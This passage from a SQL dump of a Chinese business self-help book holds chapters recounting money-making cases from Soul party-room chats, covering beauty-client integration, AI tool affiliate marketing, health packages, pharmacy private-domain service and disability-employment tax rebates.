美业整合:一个人的公司如何月入十万\n\n\"美业现在最大的问题是什么?是那些美容师手上有几百个客户的微信,但她们不知道怎么变现。\"\n\n2025年11月4日,周二,早上6点38分。\n\n最近降温,早起温度很冷,派对房里氛围却热火朝天。\n\n一个做美业整合的老板上了麦,语气里带着点自信。\n\n他说他一个人,不租店面,不招员工,月入稳定在10万以上。\n\n我问:\"你怎么做到的?\"\n\n他说:\"我把那些美容师的微信客户资源整合起来,然后用系统去运营。\"\n\n---\n\n派对房里,有人问:\"你能讲讲具体怎么做的吗?\"\n\n他说:\"好,我给你们讲一下我的模式。\"\n\n\"首先,你要知道美业现在的困境。\"\n\n\"传统的美容院,它的模式是什么?租一个店面,招几个美容师,然后靠手艺和服务去赚钱。\"\n\n\"但现在这个模式已经不行了。为什么?因为成本太高,竞争太激烈。\"\n\n---\n\n他继续说。\n\n\"一个美容院,光房租一个月可能就要两三万。\"\n\n\"再加上员工工资、水电、物料,一个月成本可能要七、八万。\"\n\n\"但你一个月能赚多少?如果你运营得好,可能能赚十来万。\"\n\n\"但大部分美容院,一个月能保本就不错了。\"\n\n---\n\n我问:\"那你的模式是什么?\"\n\n他说:\"我的模式是轻资产整合。我不开店,不招人。我只做一件事:整合那些美容师的私域客户资源。\"\n\n---\n\n他开始详细解释。\n\n\"你知道吗,一个做了五六年的美容师,她手上可能有三四百个老客户的微信。\"\n\n\"这些客户都是她一个一个服务出来的,都是有信任基础的。\"\n\n\"但问题是,这个美容师她只会做手艺,她不会做运营。\"\n\n\"她不知道怎么去激活这些客户,不知道怎么去做复购,不知道怎么去做高客单价的转化。\"\n\n---\n\n他停了一下。\n\n\"所以我做的事情是什么?\"\n\n\"我找到这些美容师,跟她们谈合作。\"\n\n\"我说,你把你的客户资源交给我来运营,我用我的系统和方法去帮你激活这些客户,然后我们分成。\"\n\n---\n\n派对房里,有人问:\"她们愿意吗?\"\n\n他说:\"一开始很多人不愿意。因为她们觉得这是她们的命根子,怎么能交给别人?\"\n\n\"但后来我换了一个方法。\"\n\n---\n\n他说:\"我不让她们把微信交给我。\"\n\n\"我给她们配一个公司的AI数智员工(AI手机),让她们把客户加到这个手机上。\"\n\n\"这个手机是她们自己用的,后台是我的系统在运营。\"\n\n---\n\n我问:\"什么意思?\"\n\n他说:\"就是我有一套数字化运营系统。\"\n\n\"这个系统可以分析每个客户的消费记录、偏好、最后一次消费时间等等。\"\n\n\"然后根据这些数据,自动生成个性化的问候语、推荐话术、活动信息。\"\n\n\"美容师只需要按照系统的提示去发消息就行了。\"\n\n---\n\n他继续说。\n\n\"但关键是,高价值的客户,系统会标记出来,提醒美容师亲自去维护。\"\n\n\"因为有些事情系统做不了,必须人去做。\"\n\n\"比如说一个客户最近刚离婚,情绪不好,这时候你发一条促销信息过去,那是找死。\"\n\n\"你应该发一条关心的话,问问她最近怎么样,有没有什么可以帮忙的。朋友圈一条人为的有温度的评论,而不是冷冰冰的僵硬问候。\"\n\n\"这种情感连接,系统目前代替不了。\"\n\n---\n\n派对房里,有人问:\"那你怎么赚钱?\"\n\n他说:\"很简单,我们分成。\"\n\n\"客户成交了,美容师拿60%,我拿40%。\"\n\n\"但我不是只做一个美容师的生意。\"\n\n\"我现在合作了三十多个美容师,每个人手上平均有三四百个客户。\"\n\n\"加起来就是一万多个客户资源。\"\n\n---\n\n他停了一下。\n\n\"这一万多个客户,我不需要一个一个去服务。\"\n\n\"我只需要让系统跑起来,然后盯着数据就行了。\"\n\n\"哪个客户该激活了,哪个客户该做转化了,哪个客户可能要流失了,系统都会告诉我。\"\n\n\"我只需要提醒美容师去做动作就行了。\"\n\n---\n\n我问:\"那你一个月能赚多少?\"\n\n他说:\"好的时候十五六万,差的时候也有八九万。平均下来,一个月十万左右。\"\n\n---\n\n派对房里,有人问:\"那你的成本是什么?\"\n\n他说:\"我的成本就是系统的维护费用,一个月几千块。\"\n\n\"还有就是给美容师配的手机,一部手机一千多块,但这是一次性投入。\"\n\n\"所以我的毛利率非常高,基本上90%以上。\"\n\n---\n\n我问:\"你这个模式能复制吗?\"\n\n他说:\"能,但有门槛。\"\n\n\"第一,你要有这套系统。这套系统不是市面上能买到的,是我们自己开发的。\"\n\n\"第二,你要能谈得下来这些美容师。这需要信任,需要时间。\"\n\n\"第三,你要懂运营。不是说有了系统就能赚钱,你还要知道什么时候该做什么动作。\"\n\n一、二、三都有了 团队还得经常磨合、复盘、迭代,循环自运转。\n\n---\n\n他继续说。\n\n\"但最核心的是什么?是你要理解这个行业的痛点。\"\n\n\"美业的痛点是什么?是流量成本越来越高,但客户的复购率越来越低。\"\n\n\"传统美容院的做法是什么?是不断去获客,不断去打广告,不断去做活动。\"\n\n\"但这样只会越做越累,越做越亏。\"\n\n---\n\n他停了一下。\n\n\"我的做法是什么?是把存量做深,而不是去追增量。\"\n\n\"那些美容师手上的老客户,就是最好的存量。\"\n\n\"她们已经有了信任基础,已经有了消费习惯,只是需要被激活而已。\"\n\n---\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的模式,给了我们一个很重要的启示。\"\n\n\"什么叫轻资产?不是说你不花钱,而是说你把重的部分外包出去,自己只做最核心的部分。\"\n\n---\n\n我继续说。\n\n\"他的模式里面,重的部分是什么?是服务、是手艺、是客户关系。\"\n\n\"这些他都不做,都交给美容师去做。\"\n\n\"他只做什么?只做系统、只做运营、只做整合。\"\n\n\"这就是轻资产的本质。\"\n\n---\n\n我停了一下。\n\n\"但这个模式有一个前提——————你要有核心竞争力。\"\n\n\"他的核心竞争力是什么?是那套系统,是他对行业的理解,是他整合资源的能力。\"\n\n\"如果没有这些,你想复制他的模式,是不可能的。\"\n\n---\n\n有个做美业的朋友后来问我:\"你们这套系统能不能帮我用?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想自己干,还是想找人帮你干?\"\n\n他说:\"找人帮我干。\"\n\n我说:\"那就对了。找对的人帮你干,比自己干更轻松。\"\n\n\"如果你想了解更多,可以加到群里,我们有专门做这块的人。\"\n\n---\n\n这本书的真实目的,不是教你去复制别人的模式。\n\n而是告诉你,每个成功的模式背后,都有它的底层逻辑。\n\n美业整合的底层逻辑是什么?\n\n第一,存量比增量更有价值。\n\n第二,系统比人力更有效率。\n\n第三,整合比自营更轻松。\n\n但前提是,你要有整合的能力。\n\n没有能力,再好的模式也跟你没关系。\n', 2497, 0, 1.00, 44, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.957', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (53, '9.13', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', 'AI工具推广:一个隐藏的高利润赛道', '# 9.13 AI工具推广:一个隐藏的高利润赛道\n\n\"你知道吗,现在有一个赛道,几乎没人做,但利润高得吓人。\"\n\n2025年12月9日,周二,早上7点02分。\n\n那天派对房里聊到了AI变现,一个声音很年轻的男生突然上麦。\n\n他说他做AI工具推广,一个月能赚五六万,但几乎不用花什么时间。\n\n我问:\"什么叫AI工具推广?\"\n\n他说:\"就是帮那些海外的AI工具做分销。\"\n\n---\n\n派对房里,有人问:\"能具体讲讲吗?\"\n\n他说:\"好,我给你们讲一下这个模式。\"\n\n\"你们知道现在市面上有很多AI工具,对吧?\"\n\n\"ChatGPT、Midjourney这些是最火的,但除了这些,还有很多垂直领域的AI工具。\"\n\n\"比如AI视频剪辑、AI写作、AI建站、AI客服、AI数据分析等等。\"\n\n---\n\n他继续说。\n\n\"这些工具大部分都是国外的公司做的。\"\n\n\"它们想进入中国市场,但它们没有本地的销售团队。\"\n\n\"所以它们会开放一个\'联盟计划\',就是affiliate program。\"\n\n\"你帮它推广,有人通过你的链接注册或者付费,你就能拿到佣金。\"\n\n---\n\n我问:\"这个佣金有多少?\"\n\n他说:\"这就是最关键的地方。\"\n\n\"普通的电商联盟,比如淘客,你推广一个商品,佣金可能是商品价格的5%到10%。\"\n\n\"但AI工具的联盟计划,佣金比例非常高。\"\n\n\"有些是首次付费的30%到50%,有些是终身分成,就是这个用户只要一直付费,你就一直有佣金。\"\n\n---\n\n他停了一下。\n\n\"你想想,一个AI工具的订阅费可能是一个月20美元、50美元、甚至100美元。\"\n\n\"如果你能拿到30%的佣金,一个用户一个月就能给你带来6美元到30美元的收入。\"\n\n\"如果是终身分成,这个用户用一年,你就能赚几十美元甚至上百美元。\"\n\n---\n\n派对房里,有人问:\"那你怎么推广?\"\n\n他说:\"我主要是在私域群里推广。\"\n\n\"我有几个做AI相关的社群,里面都是对AI感兴趣的人。\"\n\n\"我会在群里分享一些AI工具的使用教程、测评、对比。\"\n\n\"然后在内容里面带上我的推广链接。\"\n\n---\n\n他继续说。\n\n\"但我不是硬推,我是真的去用这些工具,然后分享我的使用体验。\"\n\n\"哪个工具好用,哪个工具性价比高,哪个工具适合什么场景。\"\n\n\"群友觉得有用,自然就会通过我的链接去注册。\"\n\n---\n\n我问:\"那你一个月能推多少用户?\"\n\n他说:\"不多,可能就几十个。\"\n\n\"但关键是单价高。\"\n\n\"一个用户如果付费了,可能一年能给我带来一两百美元的佣金。\"\n\n\"几十个用户,一年就是几千美元,折合人民币好几万。\"\n\n---\n\n他停了一下。\n\n\"而且这个收入是被动的。\"\n\n\"我不需要每天去推广,我只需要维护好我的社群,定期分享一些内容就行了。\"\n\n\"那些老用户只要一直付费,我就一直有收入。\"\n\n---\n\n派对房里,有人问:\"那你推广的都是哪些工具?\"\n\n他说:\"我推广的主要是一些垂直领域的工具。\"\n\n\"比如有一个叫Creatify的,是做AI广告视频的。你输入一个产品链接,它就能自动生成一个广告视频。\"\n\n\"还有一个叫InVideo的,是做长视频转短视频的。你把一个长视频传上去,它能自动剪成几十个短视频。\"\n\n\"还有一些做AI写作的、AI建站的、AI客服的。\"\n\n---\n\n他继续说。\n\n\"这些工具在国内知道的人不多,但在国外已经很火了。\"\n\n\"它们的联盟计划佣金都很高,因为它们需要有人帮它们推广。\"\n\n\"而且这些工具的用户粘性很强,一旦用上了,很难换。\"\n\n\"所以终身分成的模式对我们来说非常有利。\"\n\n---\n\n我问:\"那你怎么找到这些联盟计划的?\"\n\n他说:\"很简单,你去这些工具的官网,一般都有一个\'Affiliate\'或者\'Partner\'的入口。\"\n\n\"点进去注册就行了。\"\n\n\"有些工具是自动审核的,注册就能用。\"\n\n\"有些工具需要人工审核,你要填一些资料,比如你的推广渠道、预计推广量等等。\"\n\n---\n\n他停了一下。\n\n\"但最关键的是,你要有推广渠道。\"\n\n\"如果你没有流量,没有用户,那你注册了也没用。\"\n\n\"所以我一直在经营我的社群,这是我的核心资产。\"\n\n---\n\n派对房里,有人问:\"那这个模式能复制吗?\"\n\n他说:\"能,但有门槛。\"\n\n\"第一,你要懂AI,至少要知道这些工具是干什么的,怎么用。\"\n\n\"第二,你要有流量,有自己的社群或者自媒体账号。\"\n\n\"第三,你要有耐心,因为这个模式不是一夜暴富,是慢慢积累。\"\n\n---\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的模式,给了我们一个很重要的启示。\"\n\n\"什么叫信息差?信息差不是说你知道别人不知道的东西。\"\n\n\"而是说你能把别人不知道的东西,用别人能理解的方式传递出去。\"\n\n---\n\n我继续说。\n\n\"他做的事情是什么?就是把国外的AI工具信息,传递给国内的用户。\"\n\n\"这些工具在国外很火,但在国内知道的人不多。\"\n\n\"他是那个桥梁,并且有点专业的”翻译“,才能做好这个桥梁。\"\n\n---\n\n我停了一下。\n\n\"但这个模式的核心不是信息差,而是信任。\"\n\n\"为什么群友愿意通过他的链接去注册?因为他们信任他。\"\n\n\"他不是硬推,他是真的在分享有价值的内容。\"\n\n\"这种信任,是用时间和内容积累出来的。\"\n\n---\n\n有个做AI的朋友后来问我:\"你们有没有这方面的资源可以对接?\"\n\n我说:\"有,但你得先想清楚一件事。\"\n\n\"你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。做长期,就要先把信任建起来。\"\n\n\"如果你想了解更多,可以加到群里,我们有专门做AI工具对接的人。\"\n\n---\n\n这本书的真实目的,不是教你去做AI工具推广。\n\n而是告诉你,在这个时代,信息差依然存在。\n\n但信息差的变现,需要两个前提。\n\n第一,你要有传递信息的能力;\n\n第二,你要有让别人信任你的资本。\n\n有了这两个前提,你就能在任何一个信息差的缝隙里找到机会。\n', 2241, 0, 1.00, 45, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.968', 8, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (54, '9.14', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '大健康私域:一个月150万的70后', '\"我是70后,没什么文化,靠自己打拼。去年4月份,一个月纯利润150万。\"\n\n2025年12月8日,周一,早上6点48分。\n\n那天的派对房有点特别,一个沉稳的女声打破了沉默。\n\n声音里带着岁月的沧桑,但底气很足。\n\n她说:\"我想分享一下我的故事。\"\n\n我说:\"请说。\"\n\n她说:\"我做大健康31年了。从食品行业开始,后来升级到大健康产业。\"\n\n\"我是做益生元的,就是益生菌的原料。我给那些大品牌供货,上市公司的产品有时候都是我操作的。\"\n\n派对房里,有人问:\"那你最赚钱的时候是怎么做到的?\"\n\n她说:\"去年4月份,我一个月纯利润150万。2013年有一天,我一天就赚了58万纯利润。\"\n\n派对房里,瞬间安静了。\n\n她继续说。\n\n\"其实赚钱的逻辑很简单。你要有好的品,要有好的渠道。我的品是没问题的,我做了31年,质量过硬。\"\n\n\"有一次,一个上市公司找我,说他们要100吨益生元。他说他不相信市场上还有这么多库存。\"\n\n\"我说你打定金,我带你去仓库看。他们副总飞过来,看完之后,踏实了,全要了。\"\n\n派对房里,有人问:\"那你现在为什么还在找方向?\"\n\n她叹了口气。\n\n\"现在电商太卷了。我年龄大了,70后了,不想再来回奔波。想找一些线上的渠道,稳定一点的。\"\n\n我说:\"你的核心问题是什么?\"\n\n她说:\"我有好的品,但没有好的渠道。以前都是给大品牌供货,现在我想做自己的品牌。商标再有十天就下来了。但我不知道怎么做线上。\"\n\n我想了一下,说:\"其实大健康这个赛道,市场上不差渠道,差的是好的品。\"\n\n\"私域直播的渠道,卖得比较好的有1万多家,总共加起来有10万多家。你有竞争力的品,渠道会抢着要。\"\n\n派对房里,有人问:\"那怎么找到这些渠道?\"\n\n我说:\"我给你讲一个案例。我有一个朋友,做儿童肠胃调理的。\"\n\n\"他的产品铺到了全国3万个门店,母婴店各种渠道都有。但他跟我说,他不赚钱。为什么?场地、人工成本太高,抖音投流\n\n投不正,各种成本都太高。\"\n\n我继续说。\n\n\"后来我们合作,只做一个单品。整个链路做清晰:妈妈、小孩、私域。\"\n\n\"一转:卖产品;\n\n二转:卖2980的套餐,给一个群,配一个营养师顾问;\n\n三转:做线下,跟小儿多动症等垂直类医院合作。客单价一下子就上去了。\"\n\n那个70后说:\"我明白了,要做垂直。\"\n\n我说:\"对。大健康要做得很垂直。不要什么都做,什么都做就什么都做不好。找一个细分品类,打穿它。\"\n\n派对房里,有人问:\"那具体怎么打?\"\n\n我说:\"我再给你讲一个案例。有一个团队,做海外大健康,在泰国、台湾、日本做。\"\n\n\"他们铺矩阵,在小红书和抖音上发内容。内容很简单:我的小孩吃第一天是什么样,第二天是什么样。\"\n\n\"就拍这个。然后号召买过产品的粉丝也来拍,给粉丝分润。整个体系做起来,效果非常好。\"\n\n那个70后说:\"我之前都是给别人供货,没做过自己的品牌。\"\n\n我说:\"做品牌和做供应链是两回事。做供应链,你只管品质;做品牌,你要管内容、管流量、管用户运营。\"\n\n\"如果你自己不擅长,就找擅长的人合作————你出品,他出运营,大家分成。\"\n\n早上7点35分,那个70后说:\"我今天学到了很多。\"\n\n我说:\"你的优势是品。31年的积累,品质过硬,这是最核心的资产。现在差的就是找到对的合作伙伴。\"\n\n\"多来派对房聊聊,也许就能碰到合适的人。\"\n\n她说:\"好,我会常来的。\"\n\n那天之后,她真的常来。有时候上麦聊,有时候就静静地听。\n\n我不知道她后来有没有找到合适的渠道。但我知道,一个70后,做了31年大健康,还愿意来Soul派对房学习新东西。这种\n\n心态,比绝大部分年轻人都强。\n\n有个做大健康的朋友后来问我:\"你们能不能帮我对接一些供应链资源?\"\n\n我说:\"能,但你得先想清楚一件事。你是想找便宜的货,还是想找靠谱的货?\"\n\n他说:\"靠谱的。\"\n\n我说:\"那就对了。大健康这个行业,便宜没好货。如果你想了解更多,可以加到群里,我们有专门做供应链对接的人。\"\n\n年龄从来不是问题,停止学习和交流才是。\n\n这个70后的故事告诉我们:\n\n有好的品,是基础;\n\n有好的渠道,是放大器;\n\n有好的心态,是护城河。\n\n三者都有,才能走得远。', 4701, 1, 0.00, 46, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.979', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (55, '9.2', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '健康包模式:高复购、高毛利', '# 9.2 健康包模式:高复购、高毛利\n\n舒服与规律才是家里的真实KPI。\n\n2025年10月25日,周六,早上6点15分。\n\n那天派对房里来了一位年轻妈妈,语气里带着焦虑和疲惫。\n\n她说:\"我孩子胃口差,老不舒服,我看你说过\'健康包\',那是什么?\"\n\n我问:\"你现在每个月,愿意为了孩子的\'舒服和规律\',花多少钱?\"\n\n她说:\"看效果。\"\n\n这是最真实的回答。\n\n---\n\n在真实聊天里,我多次讲过我们跑过的\"儿童肠胃调理\"的健康包。\n\n不是卖药。\n\n是把\"生活—饮食—作息—补充—随访\"做成一个\"能复购的服务包\"。\n\n你买的不是一次性的瓶子,你买的是\"看得见的舒服与规律\"。\n\n这个模式的核心,是把产品变成服务,把服务变成关系。\n\n---\n\n第二天线下,我们在社区健康站见面。\n\n我把健康包拆成五段。\n\n**生活段**:晚餐时间与分量的调整、睡前不吃、早起喝温水。\n\n**饮食段**:低油低辣、少生冷、加温热水果与易消化主食。\n\n**作息段**:固定睡眠窗口、午休20分钟、晚间拉伸与泡脚。\n\n**补充段**:在医生建议下补充肠道友好品类,不做\"玄学堆料\"。\n\n**随访段**:每周一次反馈与调整,飞书卡片记录\"舒服指数\"与\"规律指数\"。\n\n五段不是说教,是\"能当下用的动作\"。\n\n她听完说:\"这比我想象的系统多了。\"\n\n我说:\"系统才能复制,复制才能规模化。\"\n\n---\n\n派对房里,我没有直接问\"每月营收多少\"。\n\n我问的是\"你们家,每个月在\'舒服\'上愿意付多少?\"\n\n她说一个数。\n\n我把这个数放进健康包的\"月度方案\"。\n\n方案里只有两件事:当下可用清单与随访节奏。\n\n简单到不能再简单,但有效到不能再有效。\n\n---\n\n我们把健康包的目标人群也写出来。\n\n孩子胃口差、腹胀、夜里不舒服、早起没精神。\n\n不是病人标签,是\"当下的感受\"。\n\n你越能打中当下,越能形成复购。\n\n这是我们在做私域咨询时反复强调的一点:**不要卖产品,要卖解决方案。**\n\n---\n\n第二周,我们在社区做了一次\"线下讲解与登记\"。\n\n我不讲概念。\n\n我只发清单。\n\n晚餐量表、睡前禁止清单、早起动作三步、温热水果清单、每周随访问卷。\n\n家长拿走的是\"现在就能做的动作\"。\n\n他们愿意付钱的是\"你帮我坚持且复盘\"。\n\n这就是服务的价值——不是你知道什么,是你能帮别人做到什么。\n\n---\n\n派对房里有人问:\"你们的生意逻辑是什么?\"\n\n我说:\"复购。\"\n\n\"不是单次爆发。\"\n\n\"是把\'当下的舒服\'做成\'可持续的规律\'。\"\n\n\"用清单与随访,把\'一次性\'变成\'长期关系\'。\"\n\n这套逻辑,我们帮很多做健康、美业、教育的朋友梳理过。\n\n每个行业的产品不同,但底层逻辑是一样的。\n\n---\n\n我们把健康包的核心写成四件事。\n\n第一,当下可用清单。\n\n第二,每周随访与调整。\n\n第三,医生建议下的合规补充。\n\n第四,家长端的可视化看板。\n\n家长在飞书里能看到\"舒服指数与规律指数\"的曲线,能看到自己\"坚持的天数与计划完成度\"。\n\n这就是核心。\n\n不是\"你听我说\"。\n\n是\"你看见自己做到了\"。\n\n---\n\n第三周,我们做了一个\"轻社群\"。\n\n只发两种东西。\n\n一种是\"当天动作提醒\"。\n\n一种是\"本周随访链接\"。\n\n不聊天。\n\n不灌水。\n\n只做\"你需要我\"且\"我帮你坚持\"。\n\n复购从这里发生。\n\n---\n\n两个月后,我们做了一次复盘。\n\n我们问家长两句话。\n\n\"你觉得孩子的当下舒服,有没有提升?\"\n\n\"你觉得你们家的规律,有没有更稳?\"\n\n能回答\"有\"的家长,复购率很高。\n\n因为健康包的价值不是\"产品\"。\n\n是\"你们家做到了\"。\n\n---\n\n派对房里有人问:\"你们每个月营收多少?\"\n\n我笑了。\n\n我问他:\"你们家每个月愿意为\'舒服与规律\'付多少?\"\n\n他给了一个数。\n\n我说:\"我们求的是\'长期稳定\'。\"\n\n\"不是\'这一个月的漂亮表\'。\"\n\n账面不会在房里晒。\n\n但\"复购曲线\"在看板里。\n\n如果你想看我们是怎么做的,可以来派对房聊。\n\n我们会根据你的情况,给你一些具体的建议。\n\n---\n\n**健康包路径清单:**\n\n1. 目标人群:围绕当下感受,用\"舒服/规律\"做索引。\n\n2. 生意逻辑:把当下可用清单+每周随访,做成长期关系与复购。\n\n3. 核心:清单/随访/合规补充/家长看板,让\"做到了\"可视化。\n\n4. 社群:轻社群,只发动作提醒和随访链接,不灌水。\n\n5. 复盘:问两句当下感受与规律,用曲线看\"复购的来源\"。\n\n这套模式不只适用于健康,任何需要复购的行业都可以参考。\n', 1680, 0, 1.00, 47, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.991', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (56, '9.3', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '药物私域:长期关系赛道', '# 9.3 药物私域:长期关系赛道\n\n\"买药不是一次性交易,是一段长期关系的开始。\"\n\n2025年10月27日,周一,早上7点整。\n\n那天的派对房气氛有点不一样。\n\n一个患者家属上了麦,声音里带着疲惫,但又透着一股认真劲儿。\n\n他说:\"我们家长期要用药,怎么把这个关系做稳?\"\n\n我没有问他每个月花多少钱。\n\n我问的是:\"你们家每个月在\'稳定与安心\'上,愿意付多少?\"\n\n他愣了一下,然后说:\"希望别出错。\"\n\n---\n\n这个回答让我想了很多。\n\n什么叫\"别出错\"?\n\n不是药效好不好的问题。\n\n是信任够不够的问题。\n\n---\n\n药物私域这个赛道,我在派对房里聊过很多次。\n\n每次聊完,都会有人私信我问:这个怎么做?\n\n其实答案很简单。\n\n你卖的不是药。\n\n你卖的是\"不会出错的长期关系\"。\n\n---\n\n什么叫长期关系?\n\n不是你卖一次药,然后等他下次来。\n\n是你从头到尾陪着他。\n\n依从性管理、用药随访、生活建议、风险托底、合规交付。\n\n这五个环节,缺一个都不行。\n\n---\n\n那天聊完之后,我们线下做了一个实验。\n\n在一个药房里,搭了一套飞书看板。\n\n每个患者一张卡片,上面写五项:\n\n处方与药史、用药计划与提醒、随访与不良反应记录、生活建议与作息、风险与托底方案。\n\n每个交付环节也有卡片:\n\n配药与复核、发药与确认、随访问卷与回访、异常上报与处理时限。\n\n每个节点都有责任人,都有时间。\n\n每一瓶药都有\"交付日志\"。\n\n---\n\n派对房里有人问:\"药物私域的目标人群是谁?\"\n\n我说:\"不是病名。\"\n\n\"是长期用药的人群。\"\n\n他们需要的是安心与稳定。\n\n我们提供的是不会出错的流程与及时的随访。\n\n---\n\n有个做医药代表的朋友后来跟我说:\n\n\"你这套东西,比我们公司的培训还实用。\"\n\n我说:\"因为我们不是在卖药,我们是在做关系。\"\n\n关系做好了,复购自然就来了。\n\n---\n\n药物私域的生意逻辑只有一句话:\n\n\"把\'不会出错\'做成\'可复购\'。\"\n\n用依从性管理与随访,把长期关系稳住。\n\n用生活建议与作息,把依从性提高。\n\n用风险托底,把信任做实。\n\n---\n\n药物私域的核心是什么?\n\n两个字:合规。\n\n再加两个字:托底。\n\n合规是处方与药史的严格管理。\n\n托底是异常的快速响应与替代方案。\n\n我们拒绝\"聪明的边缘\"。\n\n我们只做\"不会出错的交付\"。\n\n---\n\n那天快结束的时候,有人问怎么学这套东西。\n\n我说:\"如果你们家长期用药,或者你在做这个行业,可以先拿一份依从清单看看。\"\n\n\"加到群里,每个月有随访链接,有问题可以找管理。\"\n\n他们知道怎么找到我们。\n\n但我们不\"强拉\"。\n\n我们\"给路\"。\n\n---\n\n一个月后,我们做了一次复盘。\n\n只问两句话:\n\n\"你们家这个月用药有没有出错?\"\n\n\"你们家这个月有没有更安心?\"\n\n能回答\"没有出错且更安心\"的,复购自然发生。\n\n---\n\n后来有个做连锁药房的老板找到我。\n\n他说:\"你这套东西能不能帮我们做?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想卖更多的药,还是想让患者更信任你?\"\n\n他想了想,说:\"后者。\"\n\n我说:\"那就对了。信任到了,药自然卖得出去。\"\n\n---\n\n做私域这么多年,我越来越觉得一件事:\n\n最好的生意,不是一锤子买卖。\n\n是你能陪着客户走很长的路。\n\n药物私域是这样。\n\n其他行业也是这样。\n\n你能陪多久,决定了你能赚多久。\n\n---\n\n那天派对房里,有个年轻人说了一句话,让我印象很深:\n\n\"原来卖药也能做成服务。\"\n\n我说:\"任何生意都能做成服务。\"\n\n\"关键是你愿不愿意把\'一次性\'变成\'长期\'。\"\n\n愿意的人,路会越走越宽。\n\n不愿意的人,只能一直找新客户。\n\n而找新客户,永远是最累的事。\n', 1365, 0, 1.00, 48, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.002', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (57, '9.4', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '残疾机构合作:退税 × AI × 人力成本', '# 9.4 残疾机构合作:退税 × AI × 人力成本\n\n\"政策不是口号,是能算出来的钱。\"\n\n2025年10月31日,周五,早上7点20分。\n\n派对房里来了个做机构的,声音很专业,一听就是老江湖。\n\n他开门见山:\"我们有残疾人用工指标,你们的系统能不能接?\"\n\n我没有直接回答。\n\n我问他:\"你们每个月希望在\'合规与托底\'上花多少?\"\n\n他笑了,说:\"你这问法有意思。\"\n\n---\n\n这个话题在派对房里聊过很多次。\n\n每次聊,都会有人问:这个到底怎么做?\n\n其实核心逻辑很简单。\n\n残疾人用工有政策补贴,企业能退税。\n\n但大部分企业不会操作,或者操作得不规范。\n\n我们做的事情,就是把这个链条打通。\n\n---\n\n让我把这个模式拆清楚。\n\n第一,机构侧。\n\n机构手上有残疾人资源,有用工指标。\n\n但机构的问题是:岗位不够,培训不够,管理不够。\n\n第二,企业侧。\n\n企业需要用工,需要退税,需要合规。\n\n但企业的问题是:不知道怎么对接机构,不知道怎么管理这些员工。\n\n第三,中台侧。\n\n我们做的就是中台。\n\n把机构和企业对接起来,用系统把流程跑通。\n\n---\n\n那天聊完之后,我们线下做了一个实验。\n\n在会议室里,把合作拆成三张卡片:\n\n机构卡片:用工人数和工时、岗位和培训、政策额度和到账时间、风险和托底。\n\n企业卡片:退税怎么走、资料要哪些、节点和责任人、到账怎么分、合规和风控。\n\n中台卡片:AI代聊派发轻动作,回填到工单,质检按表来。\n\n这样一拆,合作怎么跑,一眼能看清。\n\n---\n\n线下怎么落地?\n\n我们按\"人、事、时间、账\"四件事来排。\n\n人:先确定岗位和人数。常规四岗——接单、质检、资料、随访。一个人可以兼两岗,但质检不能兼。机构管人到岗与工时,企业管岗位要求和培训,中台负责把人和事对应起来。\n\n事:把每天要做的事写成\"今天三件\"。上午处理上一天的工单回填,下午做资料归档与异常回访,晚上做下一天的排班和提醒。白板上直接写,当天办完划掉。\n\n时间:所有节点都有时间,不拖。响应2小时内、处理24小时内、跟进72小时内。有人接替、有人兜底,不能出现\"没人做\"的空档。\n\n账:只认到账,不认口头。退税到账怎么分、工资怎么结、服务费怎么开、资料怎么留,都写在表里。每周看一次\"到账曲线\"。\n\n---\n\n给你们讲一个真实案例。\n\n有一家机构手上有40人,两家企业要落岗位。\n\n我们的做法很简单:\n\n机构侧:按岗位能力分成两队,第一队做接单与资料,第二队做质检与随访。每天两次点名,缺岗就替补。\n\n企业侧:把岗位说明写成人话,培训只讲\"怎么做\"与\"做完怎么验\"。\n\n中台侧:新工单先走质检,再发执行。异常直接升级,别来回甩锅。\n\n三周后,两家企业的\"节点按时率\"到88%,机构的\"出勤稳定率\"到93%。\n\n最大的坑是什么?\n\n是\"资料和质检混在一起\"。\n\n一分开就稳。\n\n---\n\n还有一个案例。\n\n有一单因为\"岗位说明不清楚\"返工了三次。\n\n我们把说明改成三句:\n\n要做什么:一句话说明工作结果。\n\n怎么做:三步就够,写成123。\n\n做完怎么验:谁看、看什么、在什么时间看。\n\n改完后,\"返工率\"从12%降到3%,\"处理时长\"缩到24小时内。\n\n大家都轻松,因为找东西不再靠猜。\n\n---\n\n派对房里有人问:\"这个模式的目标人群是谁?\"\n\n我说:\"有政策窗口且愿意做合规的企业与机构。\"\n\n不是\"想钻空子的人\"。\n\n是\"愿意把合规与托底一起做进去的人\"。\n\n---\n\n我们的生意逻辑只有一句话:\n\n\"让\'政策与合规\'变成\'服务与复购\'。\"\n\n企业付的是\"更稳的总成本\"。\n\n机构得的是\"更稳的就业与培训\"。\n\n我们的系统做的是\"更稳的节点与交付\"。\n\n---\n\n核心是什么?\n\n节点与托底。\n\n节点是工单的时间与责任人。\n\n托底是异常的快速响应与替代方案。\n\nAI代聊只做轻动作。\n\n重交付由专业的人做。\n\n中台把\"确定性\"拉起来。\n\n---\n\n有个做企业服务的朋友后来问我:\"你们这套系统能不能帮我们用?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想省成本,还是想做得